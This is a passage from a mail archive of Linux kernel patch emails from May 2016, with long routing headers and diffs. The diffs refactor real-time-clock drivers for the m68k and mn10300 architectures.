         O9FhbaI2J9T//Ip7RZQDawCba4cJh7vVWzhUkSRK2G3Ww97bJmW7FlYGo/FAuUzPQ03v
         jV+HA9LCZvcrSX5LZxSVGLnbQLr8q/30rskPw86hwD6AWyCrNjDN/HAfs3y+2xuXalD7
         neAz8jAhSBmh6ejfiy7eLNzDRGPbMK2LbCZ2dBac1Q4w2eE2tXRmxWfZMKxee0PyjxaZ
         BL0L2d2Gm8VeQXOXbn4XI25wyJpwBArHp2+yeEG43t3VoA6whEcJur4mSiEgmPRPa2JY
         TjDw==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJGsIJgUqxMwoQrA1hbd/nZe8AkjEvzJX7Jts1abS+2coJMAL/aojDrOW+FoYEaNQ==
X-Received: by 10.28.30.216 with SMTP id e207mr32646wme.11.1464634685900;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.29.209 with SMTP id d200ls874569wmd.20.gmail; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.28.93.20 with SMTP id r20mr1206711wmb.5.1464634685368;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.73])
        by gmr-mx.google.com with ESMTPS id l68si1161826wmd.3.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.73 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.73;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MIw6j-1b5WRU0k5R-002VMF; Mon, 30 May
 2016 20:58:01 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:GpdV9CX3et8CgEEilZQzNTSmbFteTLkmNnYGPio9BG6FvbFr8L4
 ORlgiVpNxl9BK/GoKVtBhRlaHHSglRQuAO6do/ICzdUda4mHvcIodmQYwA6PziVEMmyk3LA
 nFLwwKd9SY5GQIKi6pYuHIAap3N8GICy+FbrZFh/fCE/XfwuJgZUbMOyk65CVg7gGriUjIw
 R2xYzJNMHvVrV7RYtSCeA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Go4laOzoi2k=:Plhf3hhn3VHlwQQq3Kz8I1
 qdYgA29Tzh3tkEnDrMTgFI0fOWvaBclGR9Vn9k83PURosx5hrD+0R+2e+kG3VSQIpxbcsqRE2
 pqAjx9hKs+YvVL4mcdA4nqmWgA30h6K0lP4NxBLGDlca3klTPJvGIeODG69witNUdfzcoufr4
 6LNxa1mIAVnRjKkHS6DYY/N1IaAa/bBlk90sWGtOz0cgxsDukTzVgNx1b8+qIzIuolsdQPS2H
 Li9Rb9IDYel8/7yDyjKvK/oRYZeAIQTmj8twzHt8AZ3r295KYZnhah59NTJZZkzz526giVfHm
 dFOYXQWqw0r3mdTVdfueiW86+RRieXB59G/lLbc1l6wntUqqudKDQpF8Zxyr7TPYqWOwIfTub
 cJffAAV74PiBigATWHF5yjDT/K0ISczK45air+AMBcoj92gRuAAIfaHdWVRz8FuXc47EHZ2uz
 lVdsSbiZo5pFpeKW7NnnOBM2LJZVciiySS1T4NGgTIYDp2HXQ00TfoYvC7Bqrx//rASs5O6dw
 hfEZ0yGeKjh/J4Z6GrKUHIaiCba/RSQY2Vwuti4QL6HwT26y//Y3foJnGqsp+uw7RnKDgBsKJ
 s57LGK3CiKXR614w2Onhs9i3Q+8Yow02xs4AXvrvq8dGG+plAOJY1UGG8G38fLB2Tj/InLJTo
 6ows7LLUdIvRMKJsR5wi0qOxnsE1u+W4ACds7P8G8sFfxaBrh/H0FWBNmY10i/HnZpik=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.73 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:34 gmane.linux.ports.alpha:3740 gmane.linux.kernel:2230338 gmane.linux.ports.parisc:26794 gmane.linux.ports.ppc64.devel:127842 gmane.linux.ports.sh.devel:54127 gmane.linux.kernel.cross-arch:32174
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/34>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and m68k has another abstraction on top, which is a bit
silly.

This changes the m68k rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/m68k/kernel/time.c   | 23 +++++++++++++++++++++--
 drivers/rtc/rtc-generic.c |  2 +-
 2 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 3857737e3958..bd6417d38d5a 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -86,7 +86,24 @@ void read_persistent_clock(struct timespec *ts)
 	}
 }
 
-#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
+#if defined(CONFIG_ARCH_USES_GETTIMEOFFSET) && IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	mach_hwclk(0, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (mach_hwclk(1, tm) < 0)
+		return -EOPNOTSUPP;
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_init(void)
 {
@@ -95,7 +112,9 @@ static int __init rtc_init(void)
 	if (!mach_hwclk)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &generic_rtc_ops,
+					     sizeof(generic_rtc_ops));
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 92b5e02a3750..5c82bae73b9c 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,7 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PPC)
+#if defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 06/16] char/genrtc: remove mn10300 support
Date: Mon, 30 May 2016 20:57:54 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <1464634684-1248135-7-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634702 4633 80.91.229.3 (30 May 2016 18:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:22 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:14 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f59.google.com ([74.125.82.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO7-0002xf-6C
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-wm0-f59.google.com with SMTP id a136sf12849280wme.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=J6txqGQmx3TPCDv+2z6yt/NNL5tQeOgEMsEJ5Mlv1xc=;
        b=sdViqM2AfhCvFQRag/pz401fOcHPsE4cU6bDnG9/iDkPAUiKP6ua0sasX6m6xwVOHZ
         aoLEkrVwS+12dfJXo3SjRRcYmOrscPGM9XTDxQvOMX9mN2wxhq0i7l9Rj2fiPk9HyDCJ
         pfuEdUzr/zjps09I3Q06jcr3DqcYx/dTtEuV4SJ4pl8N8mlkDvIFcptPPY4lRoCnXrWD
         6Mzq2lg8x8eA14QzbkrEehV40lH4KumkHdNu6+jeOn+PQfufIE5CB6LNYW4Nj/o4OevF
         eRXH6AenkroHfH+FnxzIVnbugLG3DuNpCwqfptMmYFCQLpOzp4hAqNFIYu7p0qt8jDGx
         bjBQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=J6txqGQmx3TPCDv+2z6yt/NNL5tQeOgEMsEJ5Mlv1xc=;
        b=an6WsZkFXUJ5Tc7IwuVIA/9s3Dd86jpoNNuqgNpUi+Wf+lzDpyRIHv3IAeHp1Zf9qn
         6pCoA9sg4pHMdiWawkgyp+MKczIXbjtBCi5kxUI2lhoyl/V8pj/9fldfZI2xD3h2msrx
         Br6QRp3IR4Ws81ovcScQyHSbbM+UfEbIO1r9qQ3EyFYpLFHkQ6BwWKUZR9Qy+K9nbBge
         QVOMlC7JW+AV2bIjiN+OI15+hlyZWJFdyfgbYGa5UJpFLbB/orTqz9HUsVfvHUbrLNre
         GcHFJlvkxaK8tu1t6DtyT1qUbeDb0Yot5vRPjuRVQv/2B5rp+vlfc7kG4fqZeI/ijrei
         JhGg==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJuAvWWy+SLYfZtF8AtIqpgG94kLssGN//rShdnx38Hhsh9ARxfLjO4a8zLHAr9mw==
X-Received: by 10.28.125.141 with SMTP id y135mr32851wmc.1.1464634686770;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.4.148 with SMTP id 142ls764130wme.10.gmail; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.28.152.85 with SMTP id a82mr1208659wme.2.1464634686501;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.73])
        by gmr-mx.google.com with ESMTPS id s140si1474550wme.1.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.73 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.73;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LxwDU-1bb8N92Cqy-015Kvi; Mon, 30 May
 2016 20:57:59 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:CcVavVpLaF2wfezVOp2TS6EzaJeih6848b2VLgOmKryEwQxT8er
 CVMlbXNyde8gPZDmXNDuDC0cgvRR8+N3cp6MKVxxg5FKnXmp91L59HWSas/zfFsUUDQjD9F
 xaEe9ZOnfZpnRb0tcDsRvHOd9GdJmV08rHD/y19hhHCrWkpQEF/4y2fhFGZvT8dwaufuWeY
 zT07LbhkpMyV4f8DBBs0w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vQgFTRKkg3E=:9NgRm2+3HYJrFm8QmyjOVZ
 oLStmGkX/Xc1Tn8A/rdgpCsREtRgG8Z+0eSSUOh+nDzLETYUDKlp9ynrVAeh0r81Ex+vDAmkk
 gkLXvLOylWlfDlrmjpKyD1KkjUVKMKxHnTUgUyYfthmRLAis/cz3xGb6m7A8r4EIL9URdr4Hf
 iOmyTcTi8f+ArZMQI3sbc/rREfvV5QpJeK8I9VWBaGi8zcA38kJiDgXw2e9ViZN0epYW5TDoj
 rcV4oHJi0ZKOvmXnyGH2V03UIU31vLTA2MSpLQoKkgbfWkutMz3kpH+pfHJN1EdnY0Xr8+wv1
 igziDGdxN3y6Wg92R3U9hqILlSHjf9pIg1lpkJ9CtauUClsik23uhmuwHBgBrEkXRU49Scm+j
 UPdvnAdEhjkDExAK8iReKl6h7sIRwYAZfZbCl+5NDxZ6sKTyQlI8PHi3QAiPGCQo81clF2tnR
 U7PqSpkN/pqA8QooQjOszLV7Rz/dxkNWLKgvwR62OpG65/JfPBpXZZhCVervwbVXX8OEIbKOe
 P1ZTXjtvvtXxKhvn9apt2uQZuKM7pm3NmVsbatpJMbbhOrXPSJEJHVhRqCcDeo2j6ZXSQt/0+
 DRiM20zdA0m69yHMq91RVc1sDTF3Vl5Ol3dHj4ELlHgGH2A8HcKrU4p9mJcoxnopFG9rmPq1e
 BfI26mZXsFP5jln9F2paYLxZr92lDpb7QMcK45WQFcVcdFUf9OelhOga4/qxmC4uwBdo=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.73 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:35 gmane.linux.ports.alpha:3741 gmane.linux.kernel:2230339 gmane.linux.ports.parisc:26795 gmane.linux.ports.ppc64.devel:127843 gmane.linux.ports.sh.devel:54128 gmane.linux.kernel.cross-arch:32175
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/35>

The genrtc driver serves no purpose on mn10300 because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

I assume it was initially only added for completeness when the
mn10300 port was done, but the older rtc.c driver was always used
instead.

We can also stop include asm-generic/rtc.h now, because we
just call mc146818_set_time() directly.

It would be nice to change the architecture to use the rtc-cmos driver
next, and remove support for the old rtc driver as well.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/mn10300/include/asm/rtc.h          | 2 --
 arch/mn10300/kernel/rtc.c               | 2 +-
 arch/mn10300/proc-mn103e010/proc-init.c | 1 +
 arch/mn10300/proc-mn2ws0050/proc-init.c | 1 +
 drivers/char/Kconfig                    | 2 +-
 5 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/mn10300/include/asm/rtc.h b/arch/mn10300/include/asm/rtc.h
index 6c14bb1d0d9b..07dc87656197 100644
--- a/arch/mn10300/include/asm/rtc.h
+++ b/arch/mn10300/include/asm/rtc.h
@@ -25,6 +25,4 @@ static inline void calibrate_clock(void)
 
 #endif /* !CONFIG_MN10300_RTC */
 
-#include <asm-generic/rtc.h>
-
 #endif /* _ASM_RTC_H */
diff --git a/arch/mn10300/kernel/rtc.c b/arch/mn10300/kernel/rtc.c
index 48d7058b3295..77e0be4d92ea 100644
--- a/arch/mn10300/kernel/rtc.c
+++ b/arch/mn10300/kernel/rtc.c
@@ -27,7 +27,7 @@ void read_persistent_clock(struct timespec *ts)
 {
 	struct rtc_time tm;
 
-	get_rtc_time(&tm);
+	mc146818_set_time(&tm);
 
 	ts->tv_nsec = 0;
 	ts->tv_sec = mktime(tm.tm_year, tm.tm_mon, tm.tm_mday,
diff --git a/arch/mn10300/proc-mn103e010/proc-init.c b/arch/mn10300/proc-mn103e010/proc-init.c
index 27b97980dca4..d4dcb0c56b35 100644
--- a/arch/mn10300/proc-mn103e010/proc-init.c
+++ b/arch/mn10300/proc-mn103e010/proc-init.c
@@ -9,6 +9,7 @@
  * 2 of the Licence, or (at your option) any later version.
  */
 #include <linux/kernel.h>
+#include <asm/cacheflush.h>
 #include <asm/fpu.h>
 #include <asm/rtc.h>
 #include <asm/busctl-regs.h>
diff --git a/arch/mn10300/proc-mn2ws0050/proc-init.c b/arch/mn10300/proc-mn2ws0050/proc-init.c
index ee6d03dbc8d8..950cc8dbb284 100644
--- a/arch/mn10300/proc-mn2ws0050/proc-init.c
+++ b/arch/mn10300/proc-mn2ws0050/proc-init.c
@@ -14,6 +14,7 @@
 #include <linux/delay.h>
 #include <linux/interrupt.h>
 
+#include <asm/cacheflush.h>
 #include <asm/processor.h>
 #include <asm/uaccess.h>
 #include <asm/io.h>
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index e3f2f3e293e5..1d9e3063373b 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || MN10300 || PARISC || PPC
+	depends on M68K || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 02/16] rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h
Date: Mon, 30 May 2016 20:57:50 +0200
Lines: 598
Approved: news@gmane.org
Message-ID: <1464634684-1248135-3-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634702 4630 80.91.229.3 (30 May 2016 18:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:22 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:14 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f60.google.com ([209.85.215.60])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO7-0002xe-5y
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-lf0-f60.google.com with SMTP id v189sf38325270lfd.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=FR+t699suxZrsePGxwsKT81revp1qIlVl3ghfhIITBY=;
        b=Ry4hMMWfU5qq1VC2IOXLmLaBp0Kntt9rlOAsnrAU0Z9aJy6XM+BuTTaSq6HLXj3LAA
         z6niBuAsNXZw0MwqlVLdf3G1/I74Ye6+hMlVxvfH4nbUGKxS+a2/VseRyj9NHYYsaeGK
         eh+uPCKqMkxFB4spKchM5rTVUt8HhyOZblciciAe/m8CwNTe0xfK/Yhu88vN05eI9EBa
         9n5RK0Gh4AybAPaVe88JFK1uOFFOQGZU69zs4z5/42wcy4y2r7CBpxD7ZlOQzbz0kk63
         RunvWZVL1Kq2eUl1wjxybU/Q/QS2Gn0X/ELESMBy9uN9mdOgsW3wuj9IRFFJ6Xv2QzTI
         xVug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=FR+t699suxZrsePGxwsKT81revp1qIlVl3ghfhIITBY=;
        b=TeiiCZT1CpbHi/3pVuko4TYhPiBP8PVKA6VIentxz3CigAt8LbiP+iiq1GMV31Zg87
         2s8ynti5NfHOic4aTowpq77dbT6IakIkI8vyQLLgaX5iV3W9eFaN29x/T8slryggcazR
         TyQmgIGdNoXENmbWIyvpPUB1ceCXplgUgOIIxD5FloAyXnzvGAZNeTHtzKrg3/fqq0wu
         T7ElLzJumC5l2jW5jPIXi+WCNaJYA3Fwe+qJmanH0Ngi76gCaU00c8heha6yS2YWajff
         hk6Y+LkfpD9H2SRgiCQM6HwSZHwYJ+N93oVPF7RDCX8w0HKA+urZdxavzfqKFb5qOWQK
         AFRA==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJEnvMrtigI9lZ6Q0NP1NIZd0wyyCk2u90z67epWmMyu8RTvcsHy9rhiGdSvkjF6Q==
X-Received: by 10.28.29.88 with SMTP id d85mr32933wmd.5.1464634686514;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
